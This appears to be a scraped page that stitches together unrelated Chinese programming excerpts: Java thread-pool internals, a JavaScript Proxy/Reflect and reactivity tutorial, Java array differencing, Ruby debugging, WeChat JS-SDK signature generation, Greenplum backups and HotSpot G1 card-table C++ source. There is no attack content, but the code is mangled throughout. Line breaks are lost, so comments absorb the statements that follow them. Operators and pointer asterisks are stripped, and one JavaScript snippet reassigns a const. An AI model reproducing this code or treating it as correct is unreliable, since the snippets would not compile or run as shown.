省略代码...} 6、核心线程执行逻辑-runworker final void runWorker(Worker w) {Thread wt = Thread.currentThread();Runnable task = w.firstTask;w.firstTask = null;// 调用unlock()是为了让外部可以中断w.unlock(); // allow interrupts// 这个变量用于判断是否进入过自旋（while循环）boolean completedAbruptly = true;try {// 这儿是自旋// 1. 如果firstTask不为null，则执行firstTask；// 2. 如果firstTask为null，则调用getTask()从队列获取任务。// 3. 阻塞队列的特性就是：当队列为空时，当前线程会被阻塞等待while (task != null || (task = getTask()) != null) {// 这儿对worker进行加锁，是为了达到下面的目的// 1. 降低锁范围，提升性能// 2. 保证每个worker执行的任务是串行的w.lock();// If pool is stopping, ensure thread is interrupted;// if not, ensure thread is not interrupted. This// requires a recheck in second case to deal with// shutdownNow race while clearing interrupt// 如果线程池正在停止，则对当前线程进行中断操作if ((runStateAtLeast(ctl.get(), STOP) ||(Thread.interrupted() &&runStateAtLeast(ctl.get(), STOP))) &&!wt.isInterrupted())wt.interrupt();// 执行任务，且在执行前后通过beforeExecute()和afterExecute()来扩展其功能。// 这两个方法在当前类里面为空实现。try {beforeExecute(wt, task);Throwable thrown = null;try {task.run();} catch (RuntimeException x) {thrown = x; throw x;} catch (Error x) {thrown = x; throw x;} catch (Throwable x) {thrown = x; throw new Error(x);} finally {afterExecute(task, thrown);} } finally {// 帮助gctask = null;// 已完成任务数加一 w.completedTasks++;w.unlock();} }completedAbruptly = false;} finally {// 自旋操作被退出，说明线程池正在结束processWorkerExit(w, completedAbruptly);} } 本篇文章为转载内容。原文链接：https://blog.csdn.net/grd_java/article/details/113116244。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...andler.getPrototypeOf() Object.getPrototypeOf 方法的捕捉器 handler.setPrototypeOf() Object.setPrototypeOf 方法的捕捉器 handler.isExtensible() Object.isExtensible 方法的捕捉器 handler.preventExtensions() Object.preventExtensions 方法的捕捉器 handler.getOwnPropertyDescriptor() Object.getOwnPropertyDescriptor 方法的捕捉器 handler.defineProperty() Object.defineProperty 方法的捕捉器 handler.ownKeys() Object.getOwnPropertyNames 方法和 Object.getOwnPropertySymbols 方法的捕捉器 handler.has() in 操作符的捕捉器 handler.get() 属性读取操作的捕捉器 handler.set() 属性设置操作的捕捉器 handler.deleteProperty() delete 操作符的捕捉器 handler.apply() 函数调用操作的捕捉器 handler.construct() new 操作符的捕捉器 const obj = {name: 'why',age: 18}const objProxy = new Proxy(obj, {// 获取值时的捕获器get: function (target, key) {console.log(监听到obj对象的${key}属性被访问了)return target[key]},// 设置值时的捕获器set: function (target, key, newValue) {console.log(监听到obj对象的${key}属性被设置值)target[key] = newValue},// 监听 in 的捕获器has: function (target, key) {console.log(监听到obj对象的${key}属性的in操作)return key in target},// 监听 delete 的捕获器deleteProperty: function (target, key) {console.log(监听到obj对象的${key}属性的delete操作)delete target[key]} })// in 操作符console.log('name' in objProxy)// delete 操作delete objProxy.name/ 监听到obj对象的name属性的in操作true监听到obj对象的name属性的delete操作/ 2.3 Proxy 的 construct 和 apply 到捕捉器中还有 construct 和 apply，它们是应用于函数对象的 function foo() {console.log('调用了 foo')}const fooProxy = new Proxy(foo, {apply: function (target, thisArg, argArray) {console.log(对 foo 函数进行了 apply 调用)target.apply(thisArg, argArray)},construct: function (target, argArray, newTarget) {console.log(对 foo 函数进行了 new 调用)return new target(...argArray)} })fooProxy.apply({}, ['abc', 'cba'])new fooProxy('abc', 'cba')/ 对 foo 函数进行了 apply 调用调用了 foo对 foo 函数进行了 new 调用调用了 foo/ 3. Reflect 3.1 Reflect 的作用 Reflect 也是 ES6 新增的一个 API，它是一个对象，字面的意思是反射 Reflect 的作用： 它主要提供了很多操作 JavaScript 对象的方法，有点像 Object 中操作对象的方法 比如 Reflect.getPrototypeOf(target) 类似于 Object.getPrototypeOf() 比如 Reflect.defineProperty(target, propertyKey, attributes) 类似于 Object.defineProperty() 如果我们有 Object 可以做这些操作，那么为什么还需要有Reflect这样的新增对象呢？ 这是因为在早期的 ECMA 规范中没有考虑到这种对 对象本身 的操作如何设计会更加规范，所以将这些 API 放到了 Object上面 但是 Object 作为一个构造函数，这些操作实际上放到它身上并不合适 另外还包含一些类似于 in、delete 操作符，让 JS 看起来是会有一些奇怪的 所以在 ES6 中新增了 Reflect，让我们这些操作都集中到了 Reflect 对象上 那么 Object 和 Reflect 对象之间的 API 关系，可以参考 MDN 文档： 比较 Reflect 和 Object 方法 3.2 Reflect 的常见方法 Reflect中有哪些常见的方法呢？它和Proxy是一一对应的，也是13个 Reflect.getPrototypeOf(target) 类似于 Object.getPrototypeOf() Reflect.setPrototypeOf(target, prototype) 设置对象原型的函数. 返回一个 Boolean， 如果更新成功，则返回 true Reflect.isExtensible(target) 类似于 Object.isExtensible() Reflect.preventExtensions(target) 类似于 Object.preventExtensions() , 返回一个 Boolean Reflect.getOwnPropertyDescriptor(target, propertyKey) 类似于 Object.getOwnPropertyDescriptor() , 如果对象中存在该属性，则返回对应的属性描述符, 否则返回 undefined Reflect.defineProperty(target, propertyKey, attributes) 和 Object.defineProperty() 类似, 如果设置成功就会返回 true Reflect.ownKeys(target) 返回一个包含所有自身属性（不包含继承属性）的数组 （类似于 Object.keys(), 但不会受 enumerable 影响） Reflect.has(target, propertyKey) 判断一个对象是否存在某个属性，和 in 运算符 的功能完全相同 Reflect.get(target, propertyKey[, receiver]) 获取对象身上某个属性的值，类似于 target[name] Reflect.set(target, propertyKey, value[, receiver]) 将值分配给属性的函数，返回一个 Boolean，如果更新成功，则返回 true Reflect.deleteProperty(target, propertyKey) 作为函数的 delete 操作符，相当于执行 delete target[name] Reflect.apply(target, thisArgument, argumentsList) 对一个函数进行调用操作，同时可以传入一个数组作为调用参数。和 Function.prototype.apply() 功能类似 Reflect.construct(target, argumentsList[, newTarget]) 对构造函数进行 new 操作，相当于执行 new target(...args) 3.3 Reflect 的使用 那么我们可以将之前Proxy案例中对原对象的操作，都修改为Reflect来操作 const obj = {name: 'why',age: 18}const objProxy = new Proxy(obj, {get: function (target, key) {console.log(监听到obj对象的${key}属性被访问了)return Reflect.get(target, key)// return target[key] // 对原来对象进行了直接操作},set: function (target, key, newValue) {console.log(监听到obj对象的${key}属性被设置值)Reflect.set(target, key, newValue)// target[key] = newValue // 对原来对象进行了直接操作} })objProxy.name = 'kobe'console.log(objProxy.name)/ 监听到obj对象的name属性被设置值监听到obj对象的name属性被访问了kobe/ 3.4 Receiver的作用 我们发现在使用getter、setter的时候有一个receiver的参数，它的作用是什么呢？ 如果我们的源对象（obj）有 setter 、getter 的访问器属性，那么可以通过 receiver 来改变里面的 this const obj = {_name: 'why',get name() {return this._name // 不使用receiver, _name属性的操作不会被objProxy代理，因为this指向obj},set name(newValue) {this._name = newValue} }const objProxy = new Proxy(obj, {get: function (target, key, receiver) {// receiver 是创建出来的代理对象console.log('get 方法被访问-------', key, receiver)console.log(objProxy === receiver) // truereturn Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)} })objProxy.name = 'kobe'console.log(objProxy.name) // kobe/ get 方法被访问------- name { _name: 'kobe', name: [Getter/Setter] }trueget 方法被访问------- _name { _name: 'kobe', name: [Getter/Setter] }truekobe/ 3.5 Reflect 的 construct function Student(name, age) {this.name = namethis.age = age}function Teacher() {}const stu = new Student('why', 18)console.log(stu)console.log(stu.__proto__ === Student.prototype)/ Student { name: 'why', age: 18 }true/// 执行 Student 函数中的内容，但是创建出来的对象是 Teacher 对象const teacher = Reflect.construct(Student, ['why', 18], Teacher)console.log(teacher)console.log(teacher.__proto__ === Teacher.prototype)/ Teacher { name: 'why', age: 18 }true/ 4. 响应式 4.1 什么是响应式？ 先来看一下响应式意味着什么？我们来看一段代码： m 有一个初始化的值，有一段代码使用了这个值； 那么在 m 有一个新的值时，这段代码可以自动重新执行 let m = 0// 一段代码console.log(m)console.log(m 2)console.log(m 2)m = 200 上面的这样一种可以自动响应数据变量的代码机制，我们就称之为是响应式的 对象的响应式 4.2 响应式函数设计 首先，执行的代码中可能不止一行代码，所以我们可以将这些代码放到一个函数中： 那么问题就变成了，当数据发生变化时，自动去执行某一个函数； 但是有一个问题：在开发中是有很多的函数的，如何区分一个函数需要响应式，还是不需要响应式呢？ 很明显，下面的函数中 foo 需要在 obj 的 name 发生变化时，重新执行，做出相应； bar 函数是一个完全独立于 obj 的函数，它不需要执行任何响应式的操作； // 对象的响应式const obj = {name: 'why',age: 18}function foo() {const newName = obj.nameconsole.log('你好啊，李银河')console.log('Hello World')console.log(obj.name)}function bar() {console.log('普通的其他函数')console.log('这个函数不需要有任何的响应式')}obj.name = 'kobe' // name 发生改变时候 foo 函数执行 响应式函数的实现 watchFn 如何区分响应式函数？ 这个时候我们封装一个新的函数 watchFn 凡是传入到 watchFn 的函数，就是需要响应式的 其他默认定义的函数都是不需要响应式的 / 封装一个响应式的函数 /let reactiveFns = []function watchFn(fn) {reactiveFns.push(fn)}// 对象的响应式const obj = {name: 'why',age: 18}watchFn(function foo() {const newName = obj.nameconsole.log('你好啊，李银河')console.log('Hello World')console.log(obj.name)})watchFn(function demo() {console.log(obj.name, 'demo function ---------')})function bar() {console.log('普通的其他函数')console.log('这个函数不需要有任何的响应式')}obj.name = 'kobe' // name 发生改变时候 foo 函数执行reactiveFns.forEach((fn) => {fn()}) 4.3 响应式依赖的收集 目前收集的依赖是放到一个数组中来保存的，但是这里会存在数据管理的问题： 在实际开发中需要监听很多对象的响应式 这些对象需要监听的不只是一个属性，它们很多属性的变化，都会有对应的响应式函数 不可能在全局维护一大堆的数组来保存这些响应函数 所以要设计一个类，这个类用于管理某一个对象的某一个属性的所有响应式函数： 相当于替代了原来的简单 reactiveFns 的数组； class Depend {constructor() {this.reactiveFns = []}addDepend(reactiveFn) {this.reactiveFns.push(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }const depend = new Depend()function watchFn(fn) {depend.addDepend(fn)}// 对象的响应式const obj = {name: 'why', // depend 对象age: 18 // depend 对象}watchFn(function foo() {const newName = obj.nameconsole.log('你好啊，李银河')console.log('Hello World')console.log(obj.name)})watchFn(function demo() {console.log(obj.name, 'demo function ---------')})function bar() {console.log('普通的其他函数')console.log('这个函数不需要有任何的响应式')}obj.name = 'kobe'depend.notify() 4.4 监听对象的变化 那么接下来就可以通过之前的方式来监听对象的变化： 方式一：通过 Object.defineProperty 的方式（vue2采用的方式）； 方式二：通过 new Proxy 的方式（vue3采用的方式）； 我们这里先以Proxy的方式来监听 class Depend {constructor() {this.reactiveFns = []}addDepend(reactiveFn) {this.reactiveFns.push(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }const depend = new Depend()function watchFn(fn) {depend.addDepend(fn)}// 对象的响应式const obj = {name: 'why', // depend 对象age: 18 // depend 对象}// 监听对象的属性变化：Proxy(vue3)/Object.defineProperty(vue2)const objProxy = new Proxy(obj, {get: function (target, key, receiver) {return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)depend.notify()} })watchFn(function foo() {const newName = objProxy.nameconsole.log('你好啊，李银河')console.log('Hello World')console.log(objProxy.name)})watchFn(function demo() {console.log(objProxy.name, 'demo function ---------')})objProxy.name = 'kobe'objProxy.name = 'james'/ 你好啊，李银河Hello Worldkobekobe demo function ---------你好啊，李银河Hello Worldjamesjames demo function ---------/ 4.5 对象的依赖管理 目前是创建了一个 Depend 对象，用来管理对于 name 变化需要监听的响应函数： 但是实际开发中我们会有不同的对象，另外会有不同的属性需要管理； 如何可以使用一种数据结构来管理不同对象的不同依赖关系呢？ 在前面我们刚刚学习过 WeakMap，并且在学习 WeakMap 的时候我讲到了后面通过 WeakMap 如何管理这种响应式的数据依赖： 实现 可以写一个 getDepend 函数专门来管理这种依赖关系 / 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取mapconst map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象const depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}// 监听对象的属性变化：Proxy(vue3)/Object.defineProperty(vue2)const objProxy = new Proxy(obj, {get: function (target, key, receiver) {return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)const depend = getDepend(target, key)depend.notify()} }) 正确的依赖收集 我们之前收集依赖的地方是在 watchFn 中： 但是这种收集依赖的方式我们根本不知道是哪一个 key 的哪一个 depend 需要收集依赖； 只能针对一个单独的 depend 对象来添加你的依赖对象； 那么正确的应该是在哪里收集呢？应该在我们调用了 Proxy 的 get 捕获器时 因为如果一个函数中使用了某个对象的 key，那么它应该被收集依赖 / 封装一个响应式函数 /let activeReactviceFn = nullfunction watchFn(fn) {activeReactviceFn = fnfn()activeReactviceFn = null}/ 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取maplet map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象let depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}// 监听对象的属性变化：Proxy(vue3)/Object.defineProperty(vue2)const objProxy = new Proxy(obj, {get: function (target, key, receiver) {// 根据 target key 获取对应的 depnedconst depend = getDepend(target, key)// 给 depend 对象中添加响应式函数activeReactviceFn && depend.addDepend(activeReactviceFn)return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)const depend = getDepend(target, key)depend.notify()} }) 4.6 对 Depend 重构 两个问题： 问题一：如果函数中有用到两次 key，比如 name，那么这个函数会被收集两次 问题二：我们并不希望将添加 reactiveFn 放到 get 中，因为它是属于 Depend 的行为 所以我们需要对 Depend 类进行重构： 解决问题一的方法：不使用数组，而是使用 Set 解决问题二的方法：添加一个新的方法，用于收集依赖 // 保存当前需要收集的响应式函数let activeReactviceFn = nullclass Depend {constructor() {this.reactiveFns = new Set()}depend() {if (activeReactviceFn) {this.reactiveFns.add(activeReactviceFn)} }addDepend(reactiveFn) {this.reactiveFns.add(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }// 对象的响应式const obj = {name: 'why', // depend 对象age: 18 // depend 对象}/ 封装一个响应式函数 /function watchFn(fn) {activeReactviceFn = fnfn()activeReactviceFn = null}/ 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取maplet map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象let depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}// 监听对象的属性变化：Proxy(vue3)/Object.defineProperty(vue2)const objProxy = new Proxy(obj, {get: function (target, key, receiver) {// 根据 target key 获取对应的 depnedconst depend = getDepend(target, key)// 给 depend 对象中添加响应式函数depend.depend()return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)const depend = getDepend(target, key)depend.notify()} })watchFn(function () {console.log(objProxy.name, '--------------')console.log(objProxy.name, '++++++++++++++')})objProxy.name = 'kobe'/ why --------------why ++++++++++++++kobe --------------kobe ++++++++++++++/ 4.7 创建响应式对象 目前的响应式是针对于obj一个对象的，我们可以创建出来一个函数，针对所有的对象都可以变成响应式对象 / 保存当前需要收集的响应式函数 /let activeReactviceFn = null/ 依赖收集类 /class Depend {constructor() {this.reactiveFns = new Set()}depend() {if (activeReactviceFn) {this.reactiveFns.add(activeReactviceFn)} }addDepend(reactiveFn) {this.reactiveFns.add(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }/ 封装一个响应式函数 /function watchFn(fn) {activeReactviceFn = fnfn()activeReactviceFn = null}/ 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取maplet map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象let depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}/ 创建响应式对象函数 /function reactive(obj) {// 监听对象的属性变化：Proxy(vue3)/Object.defineProperty(vue2)return new Proxy(obj, {get: function (target, key, receiver) {// 根据 target key 获取对应的 depnedconst depend = getDepend(target, key)// 给 depend 对象中添加响应式函数depend.depend()return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)const depend = getDepend(target, key)depend.notify()} })}const info = reactive({address: '广州市',height: 1.88})watchFn(() => {console.log(info.address, '---')})info.address = '北京市' 4.8 Vue2 响应式原理 前面所实现的响应式的代码，其实就是 Vue3 中的响应式原理： Vue3 主要是通过 Proxy 来监听数据的变化以及收集相关的依赖的 Vue2 中通过 Object.defineProerty的方式来实现对象属性的监听 可以将 reactive 函数进行如下的重构： 在传入对象时，我们可以遍历所有的 key，并且通过属性存储描述符来监听属性的获取和修改 在 setter 和 getter 方法中的逻辑和前面的 Proxy 是一致的 / 保存当前需要收集的响应式函数 /let activeReactviceFn = null/ 依赖收集类 /class Depend {constructor() {this.reactiveFns = new Set()}depend() {if (activeReactviceFn) {this.reactiveFns.add(activeReactviceFn)} }addDepend(reactiveFn) {this.reactiveFns.add(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }/ 封装一个响应式函数 /function watchFn(fn) {activeReactviceFn = fnfn()activeReactviceFn = null}/ 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取maplet map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象let depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}/ 创建响应式对象函数 /function reactive(obj) {Object.keys(obj).forEach((key) => {let value = obj[key]Object.defineProperty(obj, key, {get: function () {const dep = getDepend(obj, key)dep.depend()return value},set: function (newValue) {value = newValueconst dep = getDepend(obj, key)dep.notify()} })})return obj}const info = reactive({address: '广州市',height: 1.88})watchFn(() => {console.log(info.address, '---')})info.address = '北京市' 本篇文章为转载内容。原文链接：https://blog.csdn.net/wanghuan1020/article/details/126774033。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...fferences array: " + Arrays.toString(differences)); } } 上述代码中，我们创建了一个新数组differences来存放相邻元素的差值。在用for循环的时候，我们相当于手牵手地让当前索引i和它的前一位朋友i-1对应的数组元素见个面，然后呢，咱们就能轻轻松松算出这两个小家伙之间的差值。别忘了，把这个差值乖乖放到新数组相应的位置上~ 3. 深入探讨及优化思路 上述方法虽然可以解决基本问题，但当我们考虑更复杂的情况时，比如数组可能为空或只包含一个元素，或者我们希望对任何类型的数据（不仅仅是整数）执行类似的操作，就需要进一步思考和优化。 例如，为了提高代码的健壮性，我们可以增加边界条件检查： java if (numbers.length <= 1) { System.out.println("The array has fewer than two elements, so no differences can be calculated."); return; } 另外，如果数组元素是浮点数或其他对象类型，只要这些类型支持减法操作，我们的算法依然适用，只需相应修改数据类型即可。 4. 总结与延伸 通过以上示例，我们不难看出，在Java中实现遍历数组并计算相邻项之差是一个既考验基础语法又富有实际应用价值的操作。同时，这也是我们在编程过程中不断迭代思维、适应变化、提升代码质量的重要实践。甭管你碰上啥类型的数组或是运算难题，重点就在于把循环结构整明白了，还有对数据的操作手法得玩得溜。只要把这个基础打扎实了，咱就能在编程的世界里挥洒自如地解决各种问题，就跟切豆腐一样轻松。这就是编程的魅力所在，它不只是机械化的执行命令，更是充满智慧与创新的人类思考过程的体现。

...据结构（如Hash、Array）时，pp（pretty print）方法能提供更美观易读的输出格式： ruby require 'pp' complex_data = { user: { name: 'Alice', age: 25 }, hobbies: ['reading', 'coding'] } pp complex_data 2. 利用byebug进行断点调试 byebug是Ruby社区广泛使用的源码级调试器，可以让你在代码任意位置设置断点并逐行执行代码以观察运行状态。 首先确保已经安装了byebug gem： bash gem install byebug 然后在你的代码中插入byebug语句： ruby def calculate_average(array) total = array.reduce(:+) size = array.size byebug 设置断点 average = total / size.to_f average end numbers = [1, 2, 3, 4, 5] calculate_average(numbers) 运行到byebug处，程序会暂停并在控制台启动一个交互式调试环境，你可以查看当前上下文中的变量值，执行单步调试，甚至修改变量值等。 3. 使用IRB（Interactive Ruby Shell） IRB是一个强大的工具，允许你在命令行环境中实时编写和测试Ruby代码片段。在排查问题时，可以直接在IRB中模拟相关场景，快速验证假设。 比如，对于某个方法有疑问，可以在IRB中加载环境并尝试调用： ruby require './your_script.rb' 加载你的脚本文件 some_object = MyClass.new some_object.method_in_question('test_input') 4. 利用Ruby的异常处理机制 Ruby异常处理机制也是调试过程中的重要工具。通过begin-rescue-end块捕获和打印异常信息，有助于我们快速定位错误源头： ruby begin risky_operation() rescue => e puts "An error occurred: {e.message}" puts "Backtrace: {e.backtrace.join("\n")}" end 总结 调试Ruby代码的过程实际上是一场与代码逻辑的对话，是一种抽丝剥茧般探求真理的过程。从最基础的用puts一句句敲出结果，到高端大气上档次的拿byebug设置断点一步步调试，再到在IRB这个互动环境中实现实时尝试和探索，甚至巧妙借助异常处理机制来捕获并解读错误信息，这一系列手段相辅相成，就像是Ruby开发者手中的多功能工具箱，帮助他们应对各种编程挑战，无往不利。只有真正把这些调试技巧学得透彻，像老朋友一样熟练运用，才能让你在Ruby开发这条路上走得顺溜儿，轻轻松松解决各种问题，达到事半功倍的效果。

...java.util.Arrays; import java.security.MessageDigest; import java.util.Formatter; public class WxJsSdkSignatureGenerator { // 定义参与签名的字段 private String jsapiTicket; private String noncestr; private Long timestamp; private String url; public String generateSignature() { // 按照字段名ASCII字典序排序 String[] sortedItems = { "jsapi_ticket=" + jsapiTicket, "noncestr=" + noncestr, "timestamp=" + timestamp, "url=" + url }; Arrays.sort(sortedItems); // 将排序后的字符串拼接成一个字符串用于sha1加密 StringBuilder sb = new StringBuilder(); for (String item : sortedItems) { sb.append(item); } String stringToSign = sb.toString(); try { // 使用SHA1算法生成签名 MessageDigest crypt = MessageDigest.getInstance("SHA-1"); crypt.reset(); crypt.update(stringToSign.getBytes("UTF-8")); byte[] signatureBytes = crypt.digest(); // 将签名转换为小写的十六进制字符串 Formatter formatter = new Formatter(); for (byte b : signatureBytes) { formatter.format("%02x", b); } String signature = formatter.toString(); formatter.close(); return signature; } catch (Exception e) { throw new RuntimeException("Failed to generate signature: " + e.getMessage()); } } // 设置各个参与签名的字段值的方法省略... } 这段代码中，我们定义了一个WxJsSdkSignatureGenerator类，用于生成微信JS-SDK所需的签名。嘿，重点来了啊，首先你得按照规定的步骤和格式，把待签名的字符串像拼图一样拼接好，然后再用SHA1这个加密算法给它“上个锁”，就明白了吧？ 4. 签名问题排查锦囊 --- 当你仍然遭遇“invalid signature”问题时，不妨按以下步骤逐一排查： - 检查时间戳是否同步：确保服务器和客户端的时间差在允许范围内。 - 确认jsapi_ticket的有效性：jsapi_ticket过期或获取有误也会导致签名无效。 - URL编码问题：在计算签名前，务必确保url已正确编码且前后端URL保持一致。 - 签名字段排序问题：严格按照规定顺序拼接签名字符串。 5. 结语 --- 面对“wx.config:invalid signature”的困扰，作为Java开发者，我们需要深入了解微信JS-SDK的签名机制，并通过严谨的编程实现和细致的调试，才能妥善解决这一问题。记住，每一个错误提示都是通往解决问题的线索，而每一步的探索过程，都饱含着我们作为程序员的独特思考和情感投入。只有这样，我们才能在技术的世界里披荆斩棘，不断前行。

本文详细解析了Greenplum数据库的备份策略，重点介绍了gpbackup和gp_dump两个工具。文章对比了全量备份与增量备份的优劣，强调了根据数据变化频率选择合适策略的重要性。同时，阐述了部分备份与恢复的功能，确保数据安全及高效恢复。建议定期验证备份有效性，并保持充足的存储空间。关键词包括：备份策略、Greenplum、gpbackup、增量备份、全量备份、数据安全、恢复、数据库、并行备份、gp_dump。

...d marking arrayCardValue _byte_map_base;// Some barrier sets create tables whose elements correspond to parts of// the heap; the CardTableBarrierSet is an example. Such barrier sets will// normally reserve space for such tables, and commit parts of the table// "covering" parts of the heap that are committed. At most one covered// region per generation is needed.static constexpr int max_covered_regions = 2;// The covered regions should be in address order.MemRegion _covered[max_covered_regions];// The last card is a guard card; never committed.MemRegion _guard_region;inline size_t compute_byte_map_size(size_t num_bytes);enum CardValues {clean_card = (CardValue)-1,dirty_card = 0,CT_MR_BS_last_reserved = 1};// a word's worth (row) of clean card valuesstatic const intptr_t clean_card_row = (intptr_t)(-1);// CardTable entry sizestatic uint _card_shift;static uint _card_size;static uint _card_size_in_words;size_t last_valid_index() const {return cards_required(_whole_heap.word_size()) - 1;}private:void initialize_covered_region(void region0_start, void region1_start);MemRegion committed_for(const MemRegion mr) const;public:CardTable(MemRegion whole_heap);virtual ~CardTable() = default;void initialize(void region0_start, void region1_start);// Barrier set functions.// Initialization utilities; covered_words is the size of the covered region// in, um, words.inline size_t cards_required(size_t covered_words) const {assert(is_aligned(covered_words, _card_size_in_words), "precondition");return covered_words / _card_size_in_words;}// Dirty the bytes corresponding to "mr" (not all of which must be// covered.)void dirty_MemRegion(MemRegion mr);// Clear (to clean_card) the bytes entirely contained within "mr" (not// all of which must be covered.)void clear_MemRegion(MemRegion mr);// Return true if "p" is at the start of a card.bool is_card_aligned(HeapWord p) {CardValue pcard = byte_for(p);return (addr_for(pcard) == p);}// Mapping from address to card marking array entryCardValue byte_for(const void p) const {assert(_whole_heap.contains(p),"Attempt to access p = " PTR_FORMAT " out of bounds of "" card marking array's _whole_heap = [" PTR_FORMAT "," PTR_FORMAT ")",p2i(p), p2i(_whole_heap.start()), p2i(_whole_heap.end()));CardValue result = &_byte_map_base[uintptr_t(p) >> _card_shift];assert(result >= _byte_map && result < _byte_map + _byte_map_size,"out of bounds accessor for card marking array");return result;}// The card table byte one after the card marking array// entry for argument address. Typically used for higher bounds// for loops iterating through the card table.CardValue byte_after(const void p) const {return byte_for(p) + 1;}void invalidate(MemRegion mr);// Provide read-only access to the card table array.const CardValue byte_for_const(const void p) const {return byte_for(p);}const CardValue byte_after_const(const void p) const {return byte_after(p);}// Mapping from card marking array entry to address of first wordHeapWord addr_for(const CardValue p) const {assert(p >= _byte_map && p < _byte_map + _byte_map_size,"out of bounds access to card marking array. p: " PTR_FORMAT" _byte_map: " PTR_FORMAT " _byte_map + _byte_map_size: " PTR_FORMAT,p2i(p), p2i(_byte_map), p2i(_byte_map + _byte_map_size));// As _byte_map_base may be "negative" (the card table has been allocated before// the heap in memory), do not use pointer_delta() to avoid the assertion failure.size_t delta = p - _byte_map_base;HeapWord result = (HeapWord) (delta << _card_shift);assert(_whole_heap.contains(result),"Returning result = " PTR_FORMAT " out of bounds of "" card marking array's _whole_heap = [" PTR_FORMAT "," PTR_FORMAT ")",p2i(result), p2i(_whole_heap.start()), p2i(_whole_heap.end()));return result;}// Mapping from address to card marking array index.size_t index_for(void p) {assert(_whole_heap.contains(p),"Attempt to access p = " PTR_FORMAT " out of bounds of "" card marking array's _whole_heap = [" PTR_FORMAT "," PTR_FORMAT ")",p2i(p), p2i(_whole_heap.start()), p2i(_whole_heap.end()));return byte_for(p) - _byte_map;}CardValue byte_for_index(const size_t card_index) const {return _byte_map + card_index;}// Resize one of the regions covered by the remembered set.void resize_covered_region(MemRegion new_region);// Card-table-RemSet-specific things.static uintx ct_max_alignment_constraint();static uint card_shift() {return _card_shift;}static uint card_size() {return _card_size;}static uint card_size_in_words() {return _card_size_in_words;}static constexpr CardValue clean_card_val() { return clean_card; }static constexpr CardValue dirty_card_val() { return dirty_card; }static intptr_t clean_card_row_val() { return clean_card_row; }// Initialize card sizestatic void initialize_card_size();// Card marking array base (adjusted for heap low boundary)// This would be the 0th element of _byte_map, if the heap started at 0x0.// But since the heap starts at some higher address, this points to somewhere// before the beginning of the actual _byte_map.CardValue byte_map_base() const { return _byte_map_base; }virtual bool is_in_young(const void p) const = 0;}; class G1CardTable : public CardTable {friend class VMStructs;friend class G1CardTableChangedListener;G1CardTableChangedListener _listener;public:enum G1CardValues {g1_young_gen = CT_MR_BS_last_reserved << 1,// During evacuation we use the card table to consolidate the cards we need to// scan for roots onto the card table from the various sources. Further it is// used to record already completely scanned cards to avoid re-scanning them// when incrementally evacuating the old gen regions of a collection set.// This means that already scanned cards should be preserved.//// The merge at the start of each evacuation round simply sets cards to dirty// that are clean; scanned cards are set to 0x1.//// This means that the LSB determines what to do with the card during evacuation// given the following possible values://// 11111111 - clean, do not scan// 00000001 - already scanned, do not scan// 00000000 - dirty, needs to be scanned.//g1_card_already_scanned = 0x1};static const size_t WordAllClean = SIZE_MAX;static const size_t WordAllDirty = 0;STATIC_ASSERT(BitsPerByte == 8);static const size_t WordAlreadyScanned = (SIZE_MAX / 255) g1_card_already_scanned;G1CardTable(MemRegion whole_heap): CardTable(whole_heap), _listener() {_listener.set_card_table(this);}static CardValue g1_young_card_val() { return g1_young_gen; }static CardValue g1_scanned_card_val() { return g1_card_already_scanned; }void verify_g1_young_region(MemRegion mr) PRODUCT_RETURN;void g1_mark_as_young(const MemRegion& mr);size_t index_for_cardvalue(CardValue const p) const {return pointer_delta(p, _byte_map, sizeof(CardValue));}// Mark the given card as Dirty if it is Clean. Returns whether the card was// Clean before this operation. This result may be inaccurate as it does not// perform the dirtying atomically.inline bool mark_clean_as_dirty(CardValue card);// Change Clean cards in a (large) area on the card table as Dirty, preserving// already scanned cards. Assumes that most cards in that area are Clean.inline void mark_range_dirty(size_t start_card_index, size_t num_cards);// Change the given range of dirty cards to 